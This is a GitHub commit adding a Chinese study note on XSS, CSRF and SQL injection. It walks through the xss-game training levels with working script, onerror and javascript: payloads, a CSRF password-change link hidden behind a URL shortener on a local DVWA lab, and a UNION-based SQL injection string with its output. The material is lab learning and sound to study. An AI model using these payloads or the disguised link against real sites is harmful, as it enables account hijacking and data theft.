-
Notifications
You must be signed in to change notification settings - Fork 3
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
clover
authored and
clover
committed
Sep 7, 2024
1 parent
22fa620
commit 25a3628
Showing
8 changed files
with
128 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,125 @@ | ||
## XSS | ||
|
||
> XSS(Cross-Site Scripting)攻击是通过在网页中注入恶意脚本代码,当其他用户浏览该网页时,恶意脚本会在用户的浏览器中执行,从而盗取用户信息、篡改网页内容等。 | ||
测试: https://xss-game.appspot.com/ | ||
|
||
这个题目是一个逐渐变难的过程,前面用过的办法,后面都会被过滤掉。 | ||
|
||
|
||
|
||
Leve1: 没做任何转义 | ||
|
||
```html | ||
<script>alert()</script> | ||
``` | ||
|
||
Leve2: <script></script>标签都被过滤不能生效, 使用其他标签就可以绕过了。 | ||
|
||
**解法1:**插入一个带有无效 URL 的*图像标记*和一个将执行 JavaScript 警报的onerror属性 | ||
|
||
```html | ||
<img src='x' onerror='alert()'> | ||
``` | ||
|
||
|
||
|
||
|
||
|
||
Leve3: | ||
|
||
```html | ||
问题1: 会截取路由的第一个参数 | ||
chooseTab(unescape(self.location.hash.substr(1)) || "1"); | ||
|
||
问题2: 通过用单引号关闭src属性来欺骗它,然后像上一关一样添加带有警报函数的onerror属性,并使用双斜杠注释“.jpg”部分 | ||
html += "<img src='/static/level3/cloud" + num + ".jpg' />"; | ||
|
||
|
||
解法1:使用:' onerror='alert();// | ||
<img src='/static/level3/cloud1' onerror='alert();//.jpg' /> | ||
|
||
解法2:'/><sCript>alert();</scrIpt> 因为没有处理大小写还能用script | ||
<img src='/static/level3/cloud1'/><sCript>alert();</scrIpt>.jpg' /> | ||
``` | ||
|
||
Leve4: | ||
|
||
```html | ||
<img src="/static/loading.gif" onload="startTimer('{{ timer }}');" /> | ||
|
||
使用: ');alert();// 相当于让这个函数结束 | ||
<img src="/static/loading.gif" onload="startTimer('{{ ');alert();// }}');" /> | ||
``` | ||
|
||
Leve5: confim.html中的值是取自路径信息上的 | ||
|
||
```html | ||
<a href="{{ next }}">Next >></a> 这个是取自路径信息 | ||
|
||
使用javascript:alert() 修改路径,然后点击go,在点next | ||
...signup?next=javascript:alert() | ||
``` | ||
|
||
Leve6: 下面显示的内容是路径信息,就需要对路径做变化 | ||
|
||
```js | ||
代码里面显示https不让请求资源,把https换成http | ||
if (url.match(/^https?:\/\//)) { | ||
setInnerText(document.getElementById("log"), | ||
"Sorry, cannot load a URL containing \"http\"."); | ||
return; | ||
} | ||
使用: data:text/plain,alert('xss') | ||
https://xss-game.appspot.com/level6/frame#data:text/plain,alert('xss') | ||
``` | ||
|
||
### CSRF | ||
|
||
> CSRF(Cross-Site Request Forgery)攻击是一种利用用户身份进行未授权操作的攻击方式。攻击者通过诱导用户访问一个恶意网站或点击恶意链接,利用用户在该网站上的会话(如Cookie)向目标网站发送请求,执行一些未授权的操作,如修改个人信息、转账等。 | ||
```shell | ||
docker pull vulnerables/web-dvwa | ||
docker run -d --rm --name dvwa -it -p 80:80 vulnerables/web-dvwa /bin/bash | ||
|
||
|
||
localhost:80 | ||
admin;password | ||
``` | ||
|
||
![image-20240907233808839](./../images/image-20240907233808839.png) | ||
|
||
这个是一个修改密码的例子 | ||
|
||
|
||
|
||
短链接 | ||
|
||
https://xiaomark.com/ | ||
|
||
|
||
|
||
我们修改密码的链接 | ||
|
||
http://localhost/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change# | ||
|
||
变成了这个东西 | ||
|
||
https://sourl.cn/MQkq9G | ||
|
||
### SQL注入 | ||
|
||
![image-20240907234503390](./../images/image-20240907234503390.png) | ||
|
||
输入 1' UNION SELECT 1,database() from information_schema.schemata# | ||
|
||
提示 | ||
|
||
```js | ||
ID: 1' UNION SELECT 1,database() from information_schema.schemata# | ||
First name: admin | ||
Surname: admin | ||
ID: 1' UNION SELECT 1,database() from information_schema.schemata# | ||
First name: 1 | ||
Surname: dvwa | ||
``` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1 +1,2 @@ | ||
- [XSS,CSRF,SQL注入](/good-share/XSS,CSRF,SQL注入.md) | ||
- [Yalc(药吃)](/good-share/Yalc(药吃).md) |
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Empty file.
Binary file not shown.
Binary file not shown.